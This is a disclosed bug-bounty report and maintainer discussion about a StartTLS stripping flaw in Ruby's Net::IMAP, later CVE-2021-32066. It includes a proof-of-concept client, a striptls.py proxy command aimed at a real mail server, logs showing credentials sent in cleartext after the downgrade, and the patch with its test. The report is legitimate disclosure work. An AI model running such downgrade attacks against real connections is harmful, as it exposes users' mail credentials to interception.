9 imap: StartTLS stripping attack (CVE-2016-0772).

Share:

TIMELINE

ghook submitted a report to Ruby. Apr 28th (2 ye

`net/imap` does not seem to raise an exception when the remote end (imap server) fails to respond with `tagged_response` (NO/BAD) or `OK` to an explicit call of `imap.starttls`. This may allow a malicious MITM to perform a starttls stripping attack if the client code does not explicitly set `usessl = true` on `initialize` w it is disabled by default: it is rarely done as one might expect that `starttls` raises an exception when starttls negotiation fails (like when using `usessl` on a serve does not support it or when it fails to negotiate tls due to an ssl exception/cipher mismatch/auth fail).

The vulnerable code:

Code 433 Bytes Wrap lines Copy Dow

```
def starttls(options = {}, verify = true)
  send_command("STARTTLS") do |resp|
    if resp.kind_of?(TaggedResponse) && resp.name == "OK"
      begin
        # for backward compatibility
        certs = options.to_str
        options = create_ssl_params(certs, verify)
      rescue NoMethodError
      end
      start_tls_session(options)
    end # <--- End of handling :)
  end
end
```

PoC

For instance, we have the following client code:

Code 247 Bytes Wrap lines Copy Dow

```
require 'net/imap'

imap = Net::IMAP.new('0.0.0.0', 9999)
imap.starttls
imap.login('myLOGIN','myPASSWORD')                                    # test login
#imap.authenticate('LOGIN', 'joe_user', 'joes_password') # test auth
imap.disconnect
```

Start the proxy: `python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError`
(See `striptls.py` in attachments).

Proxy output:

Code 1.10 KiB Wrap lines Copy Dow

```
$  python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError
2021-04-28 18:43:27,286 - INFO     - <Session 0x7fd5850b3c10> client ('127.0.0.1', 39154) has connected
2021-04-28 18:43:27,286 - INFO     - <Session 0x7fd5850b3c10> connecting to target ('imap.yandex.ru', 143)
2021-04-28 18:43:27,347 - DEBUG    - <Session 0x7fd5850b3c10> [client] <= [server]          '* OK Yandex IMAP4rev1 at myt3-8d2078fedea5.qloud-c.yan
2021-04-28 18:43:27,348 - DEBUG    - <RewriteDispatcher  - changed mangle: __main__.StripWithError new: True>
2021-04-28 18:43:27,348 - DEBUG    - <Session 0x7fd5850b3c10> [client] => [server]          'RUBY0001 STARTTLS\r\n'
2021-04-28 18:43:27,349 - DEBUG    - <Session 0x7fd5850b3c10> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n'
2021-04-28 18:43:27,349 - DEBUG    - <Session 0x7fd5850b3c10> [client] => [server][mangled] None
2021-04-28 18:43:27,349 - DEBUG    - <Session 0x7fd5850b3c10> [client] => [server]          'RUBY0002 LOGIN myLOGIN myPASSWORD\r\n'
...
```

As you can see, `starttls` did not return any error to the client and `LOGIN` authentication started.
`AUTH` is the same:

Code 2.07 KiB Wrap lines Copy Dow

```
2021-04-28 18:47:00,579 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'RUBY0001 STARTTLS\r\n'
2021-04-28 18:47:00,579 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n'
2021-04-28 18:47:00,579 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None
2021-04-28 18:47:00,579 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'RUBY0002 AUTHENTICATE'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          ' LOGIN\r\n'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+\r\n'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'am9lX3VzZXI=\r\n'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n'
2021-04-28 18:47:00,580 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None
2021-04-28 18:47:00,581 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'am9lc19wYXNzd29yZA==\r\n'
2021-04-28 18:47:00,581 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n'
```

```
2021-04-28 18:47:00,581 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None
2021-04-28 18:47:00,582 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          'am9lc19wYXNzd29yZA=='
2021-04-28 18:47:00,582 - DEBUG    - <Session 0x7fd5850b3dd0> [client] => [server]          '\r\n'
2021-04-28 18:47:00,635 - DEBUG    - <Session 0x7fd5850b3dd0> [client] <= [server]          'RUBY0002 BAD Command syntax error. sc=PleRNJ32YGk1_28154
```

I set the same CVSS as CVE-2016-0772 has.

Impact

Allows man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a "StartTLS stripping attack."

1 attachment:
F1281885: striptls.py

name Ruby staff posted a comment. Apr 28th (2 ye

Thank you. @shugo What do you think?

shugo Ruby staff posted a comment. Apr 28th (2 y

Thanks for your report.

I'd like to handle this issue as a vulnerability.

shugo Ruby staff posted a comment. Apr 29th (2 ye

@chinarulezzz Could you try the following fix?

It raises an Net::IMAP::UnknownResponseError with striptls.py on my box.

Code 2.22 KiB Wrap lines Copy Dow

```
commit ee82fc874a10f76f6e83dc4026a96a805aa0713c
Author: Shugo Maeda <shugo@ruby-lang.org>
Date:   Fri Apr 30 08:51:27 2021 +0900

    Fix StartTLS stripping vulnerability

    Reported by Alexandr Savca in https://hackerone.com/reports/1178562

diff --git a/lib/net/imap.rb b/lib/net/imap.rb
index d3f2e25..f9c2822 100644
--- a/lib/net/imap.rb
+++ b/lib/net/imap.rb
@@ -1315,12 +1315,14 @@ module Net
       end
       resp = @tagged_responses.delete(tag)
       case resp.name
+      when /\A(?:OK)\z/ni
+        return resp
       when /\A(?:NO)\z/ni
         raise NoResponseError, resp
       when /\A(?:BAD)\z/ni
         raise BadResponseError, resp
       else
-        return resp
+        raise UnknownResponseError, resp
       end
     end

@@ -4121,6 +4123,10 @@ module Net
     class ByeResponseError < ResponseError
     end

+    # Error raised upon an unknown response from the server.
+    class UnknownResponseError < ResponseError
+    end
+
     RESPONSE_ERRORS = Hash.new(ResponseError)
     RESPONSE_ERRORS["NO"] = NoResponseError
     RESPONSE_ERRORS["BAD"] = BadResponseError
diff --git a/test/net/imap/test_imap.rb b/test/net/imap/test_imap.rb
index 4fb9f74..f29fa1f 100644
--- a/test/net/imap/test_imap.rb
+++ b/test/net/imap/test_imap.rb
@@ -127,6 +127,16 @@ class IMAPTest < Test::Unit::TestCase
         imap.disconnect
       end
     end
+
+    def test_starttls_stripping
```

```
+          imap.starttls(:ca_file => CA_FILE)
+        end
+        imap
+      end
+    end
   end

   def start_server
@@ -883,6 +893,27 @@ EOF
     end
   end

+  def starttls_stripping_test
+    server = create_tcp_server
+    port = server.addr[1]
+    start_server do
+      sock = server.accept
+      begin
+        sock.print("* OK test server\r\n")
+        sock.gets
+        sock.print("RUBY0001 BUG unhandled command\r\n")
+      ensure
+        sock.close
+        server.close
+      end
+    end
+    begin
+      imap = yield(port)
+    ensure
+      imap.disconnect if imap && !imap.disconnected?
+    end
+  end
+
   def create_tcp_server
     return TCPServer.new(server_addr, 0)
   end
```

I don't remember why a block is given to send_command even though it handles only tagged OK response, but I don't fix it to keep the patch simple.

ighook posted a comment. Apr 30th (2 ye

@shugo Tested and LGTM.

P.S.

> I don't remember why a block is given to send_command even though it handles only tagged OK response, but I don't fix it to keep the patch simple.

Yeah. And if you plan to fix it in the future, it seems that the second check of `resp.name` is redundant in the following procedure, since an exception is thrown in th case of a non-OK resp?

Code 154 Bytes Wrap lines Copy Dow

```
def starttls(options = {}, verify = true)
  send_command("STARTTLS") do |resp|
    if resp.kind_of?(TaggedResponse) && resp.name == "OK" # <--
```

ighook posted a comment. Apr 30th (2 ye

Nope. I was wrong. It seems that the client sends to the server encrypted data and *after* that thrown the `UnknownResponseError`:

Code 2.35 KiB Wrap lines Copy Dow

```
2021-04-30 11:24:58,984 - DEBUG    - <Session 0x7f214296e090> [client] => [server]          'RUBY0001 STARTTLS\r\n'
2021-04-30 11:24:58,985 - DEBUG    - <Session 0x7f214296e090> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n'
2021-04-30 11:24:58,985 - DEBUG    - <Session 0x7f214296e090> [client] => [server][mangled] None
2021-04-30 11:24:58,987 - DEBUG    - <Session 0x7f214296e090> [client] => [server]          '\x16\x03\x01\x02\x00\x01\x00\x01\xfc\x03\x03P\x9a\x8b=^?\:
2021-04-30 11:25:29,019 - WARNING  - <Session 0x7f214296e090> terminated.
```

hugo Ruby staff posted a comment. Apr 30th (2 ye

@chinarulezzz

> Yeah. And if you plan to fix it in the future, it seems that the second check of resp.name is redundant in the following procedure, since an exception is thrown in t case of a non-OK resp?

Yes, I'll fix it as follows:

Code 347 Bytes Wrap lines Copy Dow

```
def starttls(options = {}, verify = true)
  resp = send_command("STARTTLS")
  begin
    # for backward compatibility
```

```
      end
      start_tls_session(options)
      resp
    end
```

> Nope. I was wrong. It seems that the client sends to the server encrypted data and *after* that thrown the `UnknownResponseError`:

I couldn't reproduce it.
I got the following result:

Code 1.56 KiB Wrap lines Copy Dow

```
2021-04-30 17:47:16,254 - INFO     - <Proxy 0x10d307d50 listen=('0.0.0.0', 9999) target=('imap.yandex.ru', 143)> ready.
2021-04-30 17:47:16,254 - DEBUG    - * added vector (port:143  , proto:    IMAP): <class __main__.StripWithError at 0x10d309a78>
2021-04-30 17:47:16,254 - INFO     - <RewriteDispatcher ssl/tls_intercept=False vectors={143: set([<class __main__.StripWithError at 0x10d309a78>])}>
2021-04-30 17:47:26,092 - DEBUG    - <ProtocolDetect 0x10d3913d0 protocol_id=PROTO_IMAP len_history=0> - protocol detected (target port)
2021-04-30 17:47:26,093 - INFO     - <Session 0x10d391390> client ('127.0.0.1', 51955) has connected
2021-04-30 17:47:26,093 - INFO     - <Session 0x10d391390> connecting to target ('imap.yandex.ru', 143)
2021-04-30 17:47:26,730 - DEBUG    - <Session 0x10d391390> [client] <= [server]          '* OK Yandex IMAP4rev1 at myt3-e294cef8d474.qloud-c.yandex.net
2021-04-30 17:47:26,730 - DEBUG    - <RewriteDispatcher  - changed mangle: __main__.StripWithError new: True>
2021-04-30 17:47:26,731 - DEBUG    - <Session 0x10d391390> [client] => [server]          'RUBY0001 STARTTLS\r\n'
2021-04-30 17:47:26,731 - DEBUG    - <Session 0x10d391390> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n'
2021-04-30 17:47:26,732 - DEBUG    - <Session 0x10d391390> [client] => [server][mangled] None
2021-04-30 17:47:26,733 - WARNING  - session.close(): Exception: error(57, 'Socket is not connected')
2021-04-30 17:47:26,733 - WARNING  - <Session 0x10d391390> terminated.
```

Have you changed anything in PoC?

ighook posted a comment. Apr 30th (2 ye

> Have you changed anything in PoC?

No. But I don't fixed `starttls` as you. Just removed `resp.name == "OK"`:

Code 408 Bytes Wrap lines Copy Dow

```
    def starttls(options = {}, verify = true)
      send_command("STARTTLS") do |resp|
        if resp.kind_of?(TaggedResponse)# && resp.name == "OK"
          begin
            # for backward compatibility
            certs = options.to_str
            options = create_ssl_params(certs, verify)
          rescue NoMethodError
          end
          start_tls_session(options)
        end
      end
    end
```

That's a lousy fix, yeah :)

With your patch i got the same result as you (couldn't reproduce it too). All is fine.

shugo Ruby staff posted a comment. Apr 30th (2 ye

> No. But I don't fixed starttls as you.

Ah, I see.

So, I'll fix the vulnerability without the fix of the starttls method (the first patch in https://hackerone.com/reports/1178562#activity-11572411), and fix starttls a
the security fix releases.

shugo Ruby staff posted a comment. May 6th (2 ye

> CVE-2021-32066 has been assigned:

> [Suggested description]
> An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a "StartTLS stripping attack."
>
> ---
>
> [Vulnerability Type]
> Missing SSL Certificate Validation
>
> ---
>
> [Vendor of Product]
> the Ruby community
>
> ---
>
> [Affected Product Code Base]
> Ruby - 3.0.1 or before

[Affected Component]
Net::IMAP

[Attack Type]
Remote

[Impact Information Disclosure]
true

[Attack Vectors]
To exploit vulnerability, a user must connect to a malicious MITM IMAP server.

[Reference]
https://hackerone.com/reports/1178562

[Has vendor confirmed or acknowledged the vulnerability?]
true

[Discoverer]
Alexandr Savca

Use CVE-2021-32066.

--
CVE Assignment Team
M/S M300, 202 Burlington Road, Bedford, MA 01730 USA
[A PGP key is available for encrypted communications at
https://cve.mitre.org/cve/request_id.html]

hsbt Ruby staff updated CVE reference to CVE-2021-32066. May 6th (2 ye

hsbt Ruby staff changed the status to **Triaged**. May 10th (2 ye

shugo Ruby staff closed the report and changed the status to **Resolved**. Jul 7th (about 1 y

We have released new versions of Ruby and have published the vulnerability.

https://www.ruby-lang.org/en/news/2021/07/07/starttls-stripping-in-net-imap/

Thank you.

shugo Ruby staff requested to disclose this report. Jul 7th (about 1 y

The Internet Bug Bounty rewarded sighook with a **$500** bounty. Jul 7th (about 1 y

sighook agreed to disclose this report. Jul 8th (about 1 y

This report has been disclosed. Jul 8th (about 1 y